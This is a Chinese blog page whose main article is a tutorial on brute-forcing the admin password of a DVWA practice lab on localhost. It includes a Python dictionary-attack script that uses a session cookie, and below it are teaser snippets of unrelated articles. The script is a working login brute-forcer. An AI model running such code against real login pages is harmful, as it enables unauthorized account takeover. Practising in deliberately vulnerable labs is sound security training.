news 2026/4/22 21:02:50

python实现密码暴力破解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
python实现密码暴力破解

实战:DVWA靶场

靶场设置:low级别

判断是否登录成功:看返回的http请求里面是否有

Username and/or password incorrect.

我们这里假设知道用户名是admin不知道密码,要去破解密码

思路:

(1)从字典读取值,生成密码

pwds = open("password.txt") for pwd in pwds: print(pwd) pwds.close()

(2)http连接到需要爆破的地址

按F12查看标头,把你的PHPSEEEIONID复制到代码修改就可以

代码:

import requests # 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题 pwds = open("F:\\password.txt") for pwd in pwds: url = "http://localhost/dvwa/vulnerabilities/brute/" # PHPSESSID务必替换为登录以后的PHPSESSID resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=13hjf2259tmmq16ukv2kdc59g6"}) #print(resp.text) if 'Username and/or password incorrect.' in resp.text: print('破解失败:'+pwd, end='') else: print('破解成功:'+pwd, end='') break; pwds.close()

(3)获得http响应,分析响应结果,看看有没有错误提示“Username and/or password incorrect.”

(4)如果有提示就继续下一次循环

(5)如果没有就代表爆破成功

破解成功

登录:用户名:admin,密码password

登录成功

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/19 13:01:40

使用在React Native中开发一个Sticky(粘性)布局,组合使用`ScrollView`和`View`组件的`style`属性来模拟Sticky布局,关键是要在滚动视图内部使用绝对定位和相对

在React Native中实现类似原生Harmony或Harmony中的Sticky(粘性)布局,通常指的是一个元素在滚动时保持固定位置,直到它滚动到视口之外并被下一个固定的元素所替代。这种布局在许多应用中非常有用,例如导航栏或侧边栏菜…

作者头像 李华
网站建设 2026/4/12 11:48:15

新型图像与视频生成模型技术详解

新型图像与视频生成模型 两个新模型使用扩散Transformer技术来生成工作室质量的视觉内容。 在昨日举行的某中心年度re:Invent大会上,首席执行官宣布推出Nova系列模型,这是新一代最先进的、提供前沿智能和行业领先性价比的基础模型。Nova系列模型包括为满…

作者头像 李华
网站建设 2026/4/18 9:41:53

国际实力牦牛绒混纺纱线源头厂家推荐,含 90%羊毛、50%牦

国际实力牦牛绒混纺纱线源头厂家推荐:开启高端纺织新视野在当今竞争激烈的纺织行业,高品质纱线的需求日益增长。牦牛绒混纺纱线因独特的柔软触感与温度调节特性,正逐渐成为纺织市场的新宠。接下来,本文将为您介绍牦牛绒混纺纱线的…

作者头像 李华
网站建设 2026/4/19 5:04:37

Excalidraw核心实现原理:绘图与协作架构解析

Excalidraw 核心实现原理:绘图与协作架构解析 在远程协作日益频繁的今天,传统的流程图工具往往显得过于规整和僵硬——线条笔直、颜色统一、毫无个性。而当团队需要一场真正意义上的头脑风暴时,那种手写草图般的自由感反而更能激发创造力。E…

作者头像 李华
网站建设 2026/4/23 10:49:07

10分钟!学会编制研发支出辅助账

【一】前言 使用《研发支出辅助账三口径版》xlsx文档,不需要10分钟(因为整个教程视频只有7分钟),就可以理解编制辅助账的核心原理、关键步骤。 当然,按照实际情况往表格中输入几十乃至几百笔数据的时间,不含…

作者头像 李华
网站建设 2026/4/22 21:16:54

LobeChat能否按token计费?精细化成本控制

LobeChat能否实现精细化成本控制?从Token计量谈起 在企业级AI应用日益普及的今天,一个看似简单却至关重要的问题浮出水面:我们到底为每一次AI对话付出了多少成本?当团队开始使用像 GPT-4 这样的高性能模型处理客户服务、内容生成或…

作者头像 李华